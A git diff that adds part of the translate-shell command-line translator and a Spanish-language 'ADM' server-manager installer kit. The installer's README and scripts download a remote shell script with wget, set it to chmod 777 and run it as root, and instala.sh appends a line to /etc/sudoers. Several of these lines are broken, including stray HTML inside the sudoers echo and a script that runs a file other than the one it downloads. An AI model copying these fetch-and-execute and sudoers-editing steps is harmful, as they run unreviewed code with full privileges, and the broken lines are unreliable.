+Option["verbose"] = 1 +Option["show-original"] = 1 +Option["show-original-phonetics"] = 1 +Option["show-translation"] = 1 +Option["show-translation-phonetics"] = 1 +Option["show-prompt-message"] = 1 +Option["show-languages"] = 1 +Option["show-original-dictionary"] = 0 +Option["show-dictionary"] = 1 +Option["show-alternatives"] = 1 +Option["width"] = ENVIRON["COLUMNS"] ? ENVIRON["COLUMNS"] - 2 : 0 +Option["indent"] = 4 +Option["no-ansi"] = 0 +Option["no-autocorrect"] = 0 +Option["no-bidi"] = 0 +Option["no-warn"] = 0 +Option["theme"] = "default" +Option["dump"] = 0 +Option["play"] = 0 +Option["narrator"] = "female" +Option["player"] = ENVIRON["PLAYER"] +Option["no-translate"] = 0 +Option["download-audio"] = 0 +Option["download-audio-as"] = NULLSTR +Option["view"] = 0 +Option["pager"] = ENVIRON["PAGER"] +Option["browser"] = ENVIRON["BROWSER"] +Option["proxy"] = ENVIRON["HTTP_PROXY"] ? ENVIRON["HTTP_PROXY"] : ENVIRON["http_proxy"] +Option["user-agent"] = ENVIRON["USER_AGENT"] ? ENVIRON["USER_AGENT"] : +"Mozilla/5.0 (X11; Linux x86_64) "\ +"AppleWebKit/602.1 (KHTML, like Gecko) Version/8.0 "\ +"Safari/602.1 Epiphany/3.18.2" +Option["no-rlwrap"] = 0 +Option["interactive"] = 0 +Option["emacs"] = 0 +Option["input"] = NULLSTR +Option["output"] = STDOUT +Option["hl"] = ENVIRON["HOME_LANG"] ? ENVIRON["HOME_LANG"] : UserLang +Option["sl"] = ENVIRON["SOURCE_LANG"] ? ENVIRON["SOURCE_LANG"] : "auto" +Option["tl"][1] = ENVIRON["TARGET_LANG"] ? ENVIRON["TARGET_LANG"] : UserLang +} +function initScript( file, line, script, temp) { +file = ".trans" +if (!fileExists(file)) { +file = ENVIRON["HOME"] "/.translate-shell/init.trans" +if (!fileExists(file)) { +file = ENVIRON["XDG_CONFIG_HOME"] "/translate-shell/init.trans" +if (!fileExists(file)) { +file = ENVIRON["HOME"] "/.config/translate-shell/init.trans" +if (!fileExists(file)) { +file = "/etc/translate-shell" +if (!fileExists(file)) return +} +} +} +} +InitScript = file +script = NULLSTR +while (getline line < InitScript) +script = script "\n" line +loadOptions(script) +if (!isarray(Option["tl"])) { +temp = Option["tl"] +delete Option["tl"] +Option["tl"][1] = temp +} +} +function initMisc( group, temp) { +initHttpService() +if (!Option["width"] && detectProgram("tput", "-V")) { +"tput cols" SUPERR | getline temp +Option["width"] = temp ? temp - 2 : 64 +} +if (Option["no-ansi"]) +delete AnsiCode +if (Option["no-bidi"]) +BiDi = BiDiNoPad = NULLSTR +if (Option["no-warn"]) +STDERR = "/dev/null" +if (Option["play"]) { +if (!Option["player"]) { +initAudioPlayer() +Option["player"] = AudioPlayer ? AudioPlayer : Option["player"] +if (!Option["player"]) +initSpeechSynthesizer() +} +if (!Option["player"] && !SpeechSynthesizer) { +w("[WARNING] No available audio player or speech synthesizer.") +Option["play"] = 0 +} +} +if (Option["view"]) { +if (!Option["pager"]) { +initPager() +Option["pager"] = Pager +} +if (!Option["pager"]) { +w("[WARNING] No available terminal pager.") +Option["view"] = 0 +} +} +if (!Option["browser"]) { +"xdg-mime query default text/html" SUPERR | getline Option["browser"] +match(Option["browser"], "(.*).desktop$", group) +Option["browser"] = group[1] +} +} +BEGIN { +init() +if (!(belongsTo("-no-init", ARGV) || belongsTo("--no-init", ARGV))) +initScript() +pos = 0 +noargc = 0 +while (ARGV[++pos]) { +match(ARGV[pos], /^--?(V|vers(i(on?)?)?)$/) +if (RSTART) { +InfoOnly = "version" +continue +} +match(ARGV[pos], /^--?(H|h(e(lp?)?)?)$/) +if (RSTART) { +InfoOnly = "help" +continue +} +match(ARGV[pos], /^--?(M|m(a(n(u(al?)?)?)?)?)$/) +if (RSTART) { +InfoOnly = "manual" +continue +} +match(ARGV[pos], /^--?(T|ref(e(r(e(n(ce?)?)?)?)?)?)$/) +if (RSTART) { +InfoOnly = "reference" +continue +} +match(ARGV[pos], /^--?r$/) +if (RSTART) { +w("[WARNING] Option '-r' has been deprecated since version 0.9.\n"\ +" Use option '-T' or '-reference' instead.") +exit 1 +} +match(ARGV[pos], /^--?(R|reference-e(n(g(l(i(sh?)?)?)?)?)?)$/) +if (RSTART) { +InfoOnly = "reference-english" +continue +} +match(ARGV[pos], /^--?(L|list)(=(.*)?)?$/, group) +if (RSTART) { +InfoOnly = "list" +if (group[2]) { +if (group[3]) split(group[3], Option["tl"], "+") +} else +split(ARGV[++pos], Option["tl"], "+") +continue +} +match(ARGV[pos], /^--?(S|list-e(n(g(i(n(es?)?)?)?)?)?)$/) +if (RSTART) { +InfoOnly = "list-engines" +continue +} +match(ARGV[pos], /^--?(U|upgrade)$/) +if (RSTART) { +InfoOnly = "upgrade" +continue +} +match(ARGV[pos], /^--?(N|nothing)$/) +if (RSTART) { +InfoOnly = "nothing" +continue +} +match(ARGV[pos], /^--?(e|engine)(=(.*)?)?$/, group) +if (RSTART) { +Option["engine"] = group[2] ? +(group[3] ? group[3] : Option["engine"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^\/(.*)$/, group) +if (RSTART) { +Option["engine"] = group[1] +continue +} +match(ARGV[pos], /^--?verbose$/) +if (RSTART) { +Option["verbose"] = 1 +continue +} +match(ARGV[pos], /^--?b(r(i(ef?)?)?)?$/) +if (RSTART) { +Option["verbose"] = 0 +continue +} +match(ARGV[pos], /^--?d(i(c(t(i(o(n(a(ry?)?)?)?)?)?)?)?)?$/) +if (RSTART) { +Option["show-original-dictionary"] = 1 +Option["show-dictionary"] = 0 +Option["show-alternatives"] = 0 +continue +} +match(ARGV[pos], /^--?id(e(n(t(i(fy?)?)?)?)?)?$/) +if (RSTART) { +Option["verbose"] = Option["verbose"] - 2 +continue +} +match(ARGV[pos], /^--?show-original(=(.*)?)?$/, group) +if (RSTART) { +Option["show-original"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-original-phonetics(=(.*)?)?$/, group) +if (RSTART) { +Option["show-original-phonetics"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-translation(=(.*)?)?$/, group) +if (RSTART) { +Option["show-translation"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-translation-phonetics(=(.*)?)?$/, group) +if (RSTART) { +Option["show-translation-phonetics"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-prompt-message(=(.*)?)?$/, group) +if (RSTART) { +Option["show-prompt-message"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-languages(=(.*)?)?$/, group) +if (RSTART) { +Option["show-languages"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-original-dictionary(=(.*)?)?$/, group) +if (RSTART) { +Option["show-original-dictionary"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-dictionary(=(.*)?)?$/, group) +if (RSTART) { +Option["show-dictionary"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?show-alternatives(=(.*)?)?$/, group) +if (RSTART) { +Option["show-alternatives"] = yn(group[1] ? group[2] : ARGV[++pos]) +continue +} +match(ARGV[pos], /^--?w(i(d(th?)?)?)?(=(.*)?)?$/, group) +if (RSTART) { +Option["width"] = group[4] ? +(group[5] ? group[5] : Option["width"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?indent(=(.*)?)?$/, group) +if (RSTART) { +Option["indent"] = group[1] ? +(group[2] ? group[2] : Option["indent"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?theme(=(.*)?)?$/, group) +if (RSTART) { +Option["theme"] = group[1] ? +(group[2] ? group[2] : Option["theme"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?no-theme$/) +if (RSTART) { +Option["theme"] = NULLSTR +continue +} +match(ARGV[pos], /^--?no-ansi$/) +if (RSTART) { +Option["no-ansi"] = 1 +continue +} +match(ARGV[pos], /^--?no-auto(correct)?$/) +if (RSTART) { +Option["no-autocorrect"] = 1 +continue +} +match(ARGV[pos], /^--?no-bidi/) +if (RSTART) { +Option["no-bidi"] = 1 +continue +} +match(ARGV[pos], /^--?no-warn/) +if (RSTART) { +Option["no-warn"] = 1 +continue +} +match(ARGV[pos], /^--?dump/) +if (RSTART) { +Option["dump"] = 1 +continue +} +match(ARGV[pos], /^--?p(l(ay?)?)?$/) +if (RSTART) { +Option["play"] = 1 +continue +} +match(ARGV[pos], /^--?sp(e(ak?)?)?$/) +if (RSTART) { +Option["play"] = 2 +continue +} +match(ARGV[pos], /^--?(n|narrator)(=(.*)?)?$/, group) +if (RSTART) { +if (!Option["play"]) Option["play"] = 1 +Option["narrator"] = group[2] ? +(group[3] ? group[3] : Option["narrator"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?player(=(.*)?)?$/, group) +if (RSTART) { +if (!Option["play"]) Option["play"] = 1 +Option["player"] = group[1] ? +(group[2] ? group[2] : Option["player"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?no-play$/) +if (RSTART) { +Option["play"] = 0 +continue +} +match(ARGV[pos], /^--?no-tran(s(l(a(te?)?)?)?)?$/) +if (RSTART) { +Option["no-translate"] = 1 +continue +} +match(ARGV[pos], /^--?download-a(u(d(io?)?)?)?$/) +if (RSTART) { +Option["download-audio"] = 1 +continue +} +match(ARGV[pos], /^--?download-audio-as(=(.*)?)?$/, group) +if (RSTART) { +if (!Option["download-audio"]) Option["download-audio"] = 1 +Option["download-audio-as"] = group[1] ? +(group[2] ? group[2] : Option["download-audio-as"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?v(i(ew?)?)?$/) +if (RSTART) { +Option["view"] = 1 +continue +} +match(ARGV[pos], /^--?pager(=(.*)?)?$/, group) +if (RSTART) { +Option["view"] = 1 +Option["pager"] = group[1] ? +(group[2] ? group[2] : Option["pager"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?no-view$/) +if (RSTART) { +Option["view"] = 0 +continue +} +match(ARGV[pos], /^--?browser(=(.*)?)?$/, group) +if (RSTART) { +Option["browser"] = group[1] ? +(group[2] ? group[2] : Option["browser"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?(x|proxy)(=(.*)?)?$/, group) +if (RSTART) { +Option["proxy"] = group[2] ? +(group[3] ? group[3] : Option["proxy"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?(u|user-agent)(=(.*)?)?$/, group) +if (RSTART) { +Option["user-agent"] = group[2] ? +(group[3] ? group[3] : Option["user-agent"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?(I|int(e(r(a(c(t(i(ve?)?)?)?)?)?)?)?|shell)$/) +if (RSTART) { +Option["interactive"] = 1 +continue +} +match(ARGV[pos], /^--?(E|emacs)$/) +if (RSTART) { +Option["emacs"] = 1 +continue +} +match(ARGV[pos], /^--?no-rlwrap$/) +if (RSTART) { +Option["no-rlwrap"] = 1 +continue +} +match(ARGV[pos], /^--?prompt(=(.*)?)?$/, group) +if (RSTART) { +w("[ERROR] Option '-prompt' has been deprecated since version 0.9.\n"\ +" Use configuration variable 'fmt-prompt' instead.") +exit 1 +} +match(ARGV[pos], /^--?prompt-color(=(.*)?)?$/, group) +if (RSTART) { +w("[ERROR] Option '-prompt-color' has been deprecated since version 0.9.\n"\ +" Use configuration variable 'sgr-prompt' instead.") +exit 1 +} +match(ARGV[pos], /^--?i(n(p(ut?)?)?)?(=(.*)?)?$/, group) +if (RSTART) { +Option["input"] = group[4] ? +(group[5] ? group[5] : Option["input"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?o(u(t(p(ut?)?)?)?)?(=(.*)?)?$/, group) +if (RSTART) { +Option["output"] = group[5] ? +(group[6] ? group[6] : Option["output"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?(l(a(ng?)?)?|hl)(=(.*)?)?$/, group) +if (RSTART) { +Option["hl"] = group[4] ? +(group[5] ? group[5] : Option["hl"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?(s(o(u(r(ce?)?)?)?|l)?|f|from)(=(.*)?)?$/, group) +if (RSTART) { +Option["sl"] = group[6] ? +(group[7] ? group[7] : Option["sl"]) : +ARGV[++pos] +continue +} +match(ARGV[pos], /^--?t(a(r(g(et?)?)?)?|l|o)?(=(.*)?)?$/, group) +if (RSTART) { +if (group[5]) { +if (group[6]) split(group[6], Option["tl"], "+") +} else +split(ARGV[++pos], Option["tl"], "+") +continue +} +match(ARGV[pos], /^[{(\[]?([[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?(:|=)((@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?\+)*(@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?)[})\]]?$/, group) +if (RSTART) { +if (group[1]) Option["sl"] = group[1] +if (group[4]) split(group[4], Option["tl"], "+") +continue +} +match(ARGV[pos], /^--?(D|debug)$/) +if (RSTART) { +Option["debug"] = 1 +continue +} +match(ARGV[pos], /^--?no-init/) +if (RSTART) continue +match(ARGV[pos], /^-(-?no-op)?$/) +if (RSTART) continue +match(ARGV[pos], /^--$/) +if (RSTART) { +++pos +break +} +noargv[noargc++] = ARGV[pos] +} +if (Option["interactive"] && !Option["no-rlwrap"]) +rlwrapMe() +else if (Option["emacs"] && !Option["interactive"] && !Option["no-rlwrap"]) +if (emacsMe()) +Option["interactive"] = 1 +initMisc() +switch (InfoOnly) { +case "version": +print getVersion() +exit ExitCode +case "help": +print getHelp() +exit ExitCode +case "manual": +showMan() +exit ExitCode +case "reference": +print getReference("endonym") +exit ExitCode +case "reference-english": +print getReference("name") +exit ExitCode +case "list": +print getList(Option["tl"]) +exit ExitCode +case "list-engines": +for (translator in Translator) +print (Option["engine"] == translator ? "* " : " ") translator +exit ExitCode +case "upgrade": +upgrade() +exit ExitCode +case "nothing": +exit ExitCode +} +setTheme() +if (Option["interactive"]) +welcome() +if (pos < ARGC) +for (i = pos; i < ARGC; i++) +noargv[noargc++] = ARGV[i] +if (noargc) { +for (i = 0; i < noargc; i++) { +if (Option["verbose"] && i > pos) +p(prettify("source-seperator", replicate(Option["chr-source-seperator"], Option["width"]))) +translate(noargv[i], 1) +} +} else { +if (!Option["input"]) Option["input"] = STDIN +} +if (Option["input"]) +translateMain() +exit ExitCode +} +EOF +read -r -d '' TRANS_MANPAGE << 'EOF' +.\" Automatically generated by Pandoc 2.1.1 +.\" +.TH "TRANS" "1" "2018\-03\-17" "0.9.6.7" "" +.hy +.SH NAME +.PP +trans \- Command\-line translator using Google Translate, Bing +Translator, Yandex.Translate, DeepL Translator, etc. +.SH SYNOPSIS +.PP +\f[B]trans\f[] [\f[I]OPTIONS\f[]] [\f[I]SOURCE\f[]]:[\f[I]TARGETS\f[]] +[\f[I]TEXT\f[]]... +.SH DESCRIPTION +.PP +This tool translates text into any language from the command\-line, +using a translation engine such as Google Translate, Bing Translator and +Yandex.Translate. +.PP +Each argument which is not a valid option is treated as \f[I]TEXT\f[] to +be translated. +.PP +If neither \f[I]TEXT\f[] nor the input file is specified by +command\-line arguments, the program will read and translate from +standard input. +.SH OPTIONS +.SS Information options +.TP +.B \f[B]\-V\f[], \f[B]\-version\f[] +Print version and exit. +.RS +.RE +.TP +.B \f[B]\-H\f[], \f[B]\-help\f[] +Print help message and exit. +.RS +.RE +.TP +.B \f[B]\-M\f[], \f[B]\-man\f[] +Show man page and exit. +.RS +.RE +.TP +.B \f[B]\-T\f[], \f[B]\-reference\f[] +Print reference table of all supported languages and codes, and exit. +Names of languages are displayed in their endonyms (language name in the +language itself). +.RS +.RE +.TP +.B \f[B]\-R\f[], \f[B]\-reference\-english\f[] +Print reference table of all supported languages and codes, and exit. +Names of languages are displayed in English. +.RS +.RE +.TP +.B \f[B]\-L\f[] \f[I]CODES\f[], \f[B]\-list\f[] \f[I]CODES\f[] +Print details of languages and exit. +When specifying two or more language codes, concatenate them by plus +sign "+". +.RS +.RE +.TP +.B \f[B]\-S\f[], \f[B]\-list\-engines\f[] +List available translation engines and exit. +.RS +.RE +.TP +.B \f[B]\-U\f[], \f[B]\-upgrade\f[] +Check for upgrade of this program. +.RS +.RE +.SS Translator options +.TP +.B \f[B]\-e\f[] \f[I]ENGINE\f[], \f[B]\-engine\f[] \f[I]ENGINE\f[] +Specify the translation engine to use. +(default: google) +.RS +.RE +.SS Display options +.TP +.B \f[B]\-verbose\f[] +Verbose mode. +.RS +.PP +Show the original text and its most relevant translation, then its +phonetic notation (if any), then its alternative translations (if any) +or its definition in the dictionary (if it is a word). +.PP +This option is unnecessary in most cases since verbose mode is enabled +by default. +.RE +.TP +.B \f[B]\-b\f[], \f[B]\-brief\f[] +Brief mode. +.RS +.PP +Show the most relevant translation or its phonetic notation only. +.RE +.TP +.B \f[B]\-d\f[], \f[B]\-dictionary\f[] +Dictionary mode. +.RS +.PP +Show the definition of the original word in the dictionary. +.RE +.TP +.B \f[B]\-identify\f[] +Language identification. +.RS +.PP +Show the identified language of the original text. +.RE +.TP +.B \f[B]\-show\-original\f[] \f[I]Y/n\f[] +Show original text or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-original\-phonetics\f[] \f[I]Y/n\f[] +Show phonetic notation of original text or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-translation\f[] \f[I]Y/n\f[] +Show translation or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-translation\-phonetics\f[] \f[I]Y/n\f[] +Show phonetic notation of translation or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-prompt\-message\f[] \f[I]Y/n\f[] +Show prompt message or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-languages\f[] \f[I]Y/n\f[] +Show source and target languages or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-original\-dictionary\f[] \f[I]y/N\f[] +Show dictionary entry of original text or not. +(default: no) +.RS +.PP +This option is enabled in dictionary mode. +.RE +.TP +.B \f[B]\-show\-dictionary\f[] \f[I]Y/n\f[] +Show dictionary entry of translation or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-show\-alternatives\f[] \f[I]Y/n\f[] +Show alternative translations or not. +(default: yes) +.RS +.RE +.TP +.B \f[B]\-w\f[] \f[I]NUM\f[], \f[B]\-width\f[] \f[I]NUM\f[] +Specify the screen width for padding. +.RS +.PP +This option overrides the setting of environment variable +$\f[B]COLUMNS\f[]. +.RE +.TP +.B \f[B]\-indent\f[] \f[I]NUM\f[] +Specify the size of indent (number of spaces). +(default: 4) +.RS +.RE +.TP +.B \f[B]\-theme\f[] \f[I]FILENAME\f[] +Specify the theme to use. +(default: default) +.RS +.RE +.TP +.B \f[B]\-no\-theme\f[] +Do not use any other theme than default. +.RS +.RE +.TP +.B \f[B]\-no\-ansi\f[] +Do not use ANSI escape codes. +.RS +.RE +.TP +.B \f[B]\-no\-autocorrect\f[] +Do not autocorrect. +(if defaulted by the translation engine) +.RS +.RE +.TP +.B \f[B]\-no\-bidi\f[] +Do not convert bidirectional texts. +.RS +.RE +.TP +.B \f[B]\-no\-warn\f[] +Do not write warning messages to stderr. +.RS +.RE +.TP +.B \f[B]\-dump\f[] +Print raw API response instead. +.RS +.RE +.SS Audio options +.TP +.B \f[B]\-p\f[], \f[B]\-play\f[] +Listen to the translation. +.RS +.PP +You must have at least one of the supported audio players +(\f[B]mplayer\f[], \f[B]mpv\f[] or \f[B]mpg123\f[]) installed to stream +from Google Text\-to\-Speech engine. +Otherwise, a local speech synthesizer may be used instead (\f[B]say\f[] +on macOS, \f[B]espeak\f[] on Linux or other platforms). +.RE +.TP +.B \f[B]\-speak\f[] +Listen to the original text. +.RS +.RE +.TP +.B \f[B]\-n\f[] \f[I]VOICE\f[], \f[B]\-narrator\f[] \f[I]VOICE\f[] +Specify the narrator, and listen to the translation. +.RS +.PP +Common values for this option are \f[B]male\f[] and \f[B]female\f[]. +.RE +.TP +.B \f[B]\-player\f[] \f[I]PROGRAM\f[] +Specify the audio player to use, and listen to the translation. +.RS +.PP +Option \f[B]\-play\f[] will try to use \f[B]mplayer\f[], \f[B]mpv\f[] or +\f[B]mpg123\f[] by default, since these players are known to work for +streaming URLs. +Not all command\-line audio players can work this way. +Use this option only when you have your own preference. +.PP +This option overrides the setting of environment variable +$\f[B]PLAYER\f[]. +.RE +.TP +.B \f[B]\-no\-play\f[] +Do not listen to the translation. +.RS +.RE +.TP +.B \f[B]\-no\-translate\f[] +Do not translate anything when using \-speak. +.RS +.RE +.TP +.B \f[B]\-download\-audio\f[] +Download the audio to the current directory. +.RS +.RE +.TP +.B \f[B]\-download\-audio\-as\f[] \f[I]FILENAME\f[] +Download the audio to the specified file. +.RS +.RE +.SS Terminal paging and browsing options +.TP +.B \f[B]\-v\f[], \f[B]\-view\f[] +View the translation in a terminal pager (\f[B]less\f[], \f[B]more\f[] +or \f[B]most\f[]). +.RS +.RE +.TP +.B \f[B]\-pager\f[] \f[I]PROGRAM\f[] +Specify the terminal pager to use, and view the translation. +.RS +.PP +This option overrides the setting of environment variable +$\f[B]PAGER\f[]. +.RE +.TP +.B \f[B]\-no\-view\f[] +Do not view the translation in a terminal pager. +.RS +.RE +.TP +.B \f[B]\-browser\f[] \f[I]PROGRAM\f[] +Specify the web browser to use. +.RS +.PP +This option overrides the setting of environment variable +$\f[B]BROWSER\f[]. +.RE +.SS Networking options +.TP +.B \f[B]\-x\f[] \f[I]HOST:PORT\f[], \f[B]\-proxy\f[] \f[I]HOST:PORT\f[] +Use HTTP proxy on given port. +.RS +.PP +This option overrides the setting of environment variables +$\f[B]HTTP_PROXY\f[] and $\f[B]http_proxy\f[]. +.RE +.TP +.B \f[B]\-u\f[] \f[I]STRING\f[], \f[B]\-user\-agent\f[] \f[I]STRING\f[] +Specify the User\-Agent to identify as. +.RS +.PP +This option overrides the setting of environment variables +$\f[B]USER_AGENT\f[]. +.RE +.SS Interactive shell options +.TP +.B \f[B]\-I\f[], \f[B]\-interactive\f[], \f[B]\-shell\f[] +Start an interactive shell, invoking \f[B]rlwrap\f[] whenever possible +(unless \f[B]\-no\-rlwrap\f[] is specified). +.RS +.RE +.TP +.B \f[B]\-E\f[], \f[B]\-emacs\f[] +Start the GNU Emacs front\-end for an interactive shell. +.RS +.PP +This option does not need to, and cannot be used along with \f[B]\-I\f[] +or \f[B]\-no\-rlwrap\f[]. +.RE +.TP +.B \f[B]\-no\-rlwrap\f[] +Do not invoke \f[B]rlwrap\f[] when starting an interactive shell. +.RS +.PP +This option is useful when your terminal type is not supported by +\f[B]rlwrap\f[] (e.g. +\f[B]emacs\f[]). +.RE +.SS I/O options +.TP +.B \f[B]\-i\f[] \f[I]FILENAME\f[], \f[B]\-input\f[] \f[I]FILENAME\f[] +Specify the input file. +.RS +.PP +Source text to be translated will be read from the input file, instead +of standard input. +.RE +.TP +.B \f[B]\-o\f[] \f[I]FILENAME\f[], \f[B]\-output\f[] \f[I]FILENAME\f[] +Specify the output file. +.RS +.PP +Translations will be written to the output file, instead of standard +output. +.RE +.SS Language preference options +.TP +.B \f[B]\-l\f[] \f[I]CODE\f[], \f[B]\-hl\f[] \f[I]CODE\f[], \f[B]\-lang\f[] \f[I]CODE\f[] +Specify your home language (the language you would like to see for +displaying prompt messages in the translation). +.RS +.PP +This option affects only the display in verbose mode (anything other +than source language and target language will be displayed in your home +language). +This option has no effect in brief mode. +.PP +This option is optional. +When its setting is omitted, English will be used. +.PP +This option overrides the setting of environment variables +$\f[B]LANGUAGE\f[], $\f[B]LC_ALL\f[], $\f[B]LANG\f[] and +$\f[B]HOME_LANG\f[]. +.RE +.TP +.B \f[B]\-s\f[] \f[I]CODE\f[], \f[B]\-sl\f[] \f[I]CODE\f[], \f[B]\-source\f[] \f[I]CODE\f[], \f[B]\-from\f[] \f[I]CODE\f[] +Specify the source language (the language of original text). +.RS +.PP +This option is optional. +When its setting is omitted, the language of original text will be +identified automatically (with a possibility of misidentification). +.PP +This option overrides the setting of environment variable +$\f[B]SOURCE_LANG\f[]. +.RE +.TP +.B \f[B]\-t\f[] \f[I]CODES\f[], \f[B]\-tl\f[] \f[I]CODE\f[], \f[B]\-target\f[] \f[I]CODES\f[], \f[B]\-to\f[] \f[I]CODES\f[] +Specify the target language(s) (the language(s) of translated text). +When specifying two or more language codes, concatenate them by plus +sign "+". +.RS +.PP +This option is optional. +When its setting is omitted, everything will be translated into English. +.PP +This option overrides the setting of environment variables +$\f[B]LANGUAGE\f[], $\f[B]LC_ALL\f[], $\f[B]LANG\f[] and +$\f[B]TARGET_LANG\f[]. +.RE +.TP +.B [\f[I]SOURCE\f[]]:[\f[I]TARGETS\f[]] +A simpler, alternative way to specify the source language and target +language(s) is to use a shortcut formatted string: +.RS +.IP \[bu] 2 +\f[I]SOURCE\-CODE\f[]:\f[I]TARGET\-CODE\f[] +.IP \[bu] 2 +\f[I]SOURCE\-CODE\f[]:\f[I]TARGET\-CODE1\f[]+\f[I]TARGET\-CODE2\f[]+... +.IP \[bu] 2 +\f[I]SOURCE\-CODE\f[]=\f[I]TARGET\-CODE\f[] +.IP \[bu] 2 +\f[I]SOURCE\-CODE\f[]=\f[I]TARGET\-CODE1\f[]+\f[I]TARGET\-CODE2\f[]+... +.PP +Delimiter ":" and "=" can be used interchangeably. +.PP +Either \f[I]SOURCE\f[] or \f[I]TARGETS\f[] may be omitted, but the +delimiter character must be kept. +.RE +.SS Other options +.TP +.B \f[B]\-no\-init\f[] +Do not load any initialization script. +.RS +.RE +.TP +.B \f[B]\-\-\f[] +End\-of\-options. +.RS +.PP +All arguments after this option are treated as \f[I]TEXT\f[] to be +translated. +.RE +.SH EXIT STATUS +.TP +.B \f[B]0\f[] +Successful translation. +.RS +.RE +.TP +.B \f[B]1\f[] +Error. +.RS +.RE +.SH ENVIRONMENT +.TP +.B \f[B]PAGER\f[] +Equivalent to option setting \f[B]\-pager\f[]. +.RS +.RE +.TP +.B \f[B]BROWSER\f[] +Equivalent to option setting \f[B]\-browser\f[]. +.RS +.RE +.TP +.B \f[B]PLAYER\f[] +Equivalent to option setting \f[B]\-player\f[]. +.RS +.RE +.TP +.B \f[B]HTTP_PROXY\f[] +Equivalent to option setting \f[B]\-proxy\f[]. +.RS +.RE +.TP +.B \f[B]USER_AGENT\f[] +Equivalent to option setting \f[B]\-user\-agent\f[]. +.RS +.RE +.TP +.B \f[B]HOME_LANG\f[] +Equivalent to option setting \f[B]\-lang\f[]. +.RS +.RE +.TP +.B \f[B]SOURCE_LANG\f[] +Equivalent to option setting \f[B]\-source\f[]. +.RS +.RE +.TP +.B \f[B]TARGET_LANG\f[] +Equivalent to option setting \f[B]\-target\f[]. +.RS +.RE +.SH FILES +.TP +.B \f[I]/etc/translate\-shell\f[] +Initialization script. +(system\-wide) +.RS +.RE +.TP +.B \f[I]$HOME/.translate\-shell/init.trans\f[] +Initialization script. +(user\-specific) +.RS +.RE +.TP +.B \f[I]$XDG_CONFIG_HOME/translate\-shell/init.trans\f[] +Initialization script. +(user\-specific) +.RS +.RE +.TP +.B \f[I]./.trans\f[] +Initialization script. +(current directory) +.RS +.RE +.SH REPORTING BUGS +.PP + +.SH AUTHORS +Mort Yao . +EOF +export TRANS_MANPAGE +export TRANS_BUILD=release +gawk -f <(echo -E "$TRANS_PROGRAM") - "$@" diff --git a/ADM-VENTAS-LEALDROID/Lealdroidscript.sh b/ADM-VENTAS-LEALDROID/Lealdroidscript.sh new file mode 100644 index 0000000..8617d21 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Lealdroidscript.sh @@ -0,0 +1,3 @@ +#!/bin/bash +apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/lealdroidscript/ADM-VENTAS-LEALDROID/master/Lealdroidscript.sh; chmod 777 instala.sh* && ./instala.sh* + diff --git a/ADM-VENTAS-LEALDROID/README.md b/ADM-VENTAS-LEALDROID/README.md new file mode 100644 index 0000000..456112f --- /dev/null +++ b/ADM-VENTAS-LEALDROID/README.md @@ -0,0 +1,10 @@ +# ADM-MANAGER-DANKELTHAHER + +**Manager Script Repositorio** + +* Un sistema operativo basado en Linux. Recomendamos Ubuntu 14.04 +* Se recomienda usar una distro nueva o formatiada. + +## Installation + +apt-get update && apt-get upgrade -y: wget https://raw.githubusercontent.com/DankelthaherManager/ADM-MANAGER-DANKELTHAHER/master/Dankelthaher.sh; chmod 777 Dankelthaher.sh* && ./Dankelthaher.sh* diff --git a/ADM-VENTAS-LEALDROID/instala.sh b/ADM-VENTAS-LEALDROID/instala.sh new file mode 100644 index 0000000..3ced603 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/instala.sh @@ -0,0 +1,218 @@ +#!/bin/bash +apt-get install lsof +apt-get install sudo +echo - e "<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>root ALL=(ALL) ALL" >> /etc/sudoers +apt-get install figlet -y +apt-get install cowsay -y +echo -e "" +apt-get install lolcat -y +cd $HOME +SCPdir="/etc/newadm" +SCPinstal="$HOME/install" +SCPidioma="${SCPdir}/idioma" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +rm $HOME/Lealdroidscript.sh 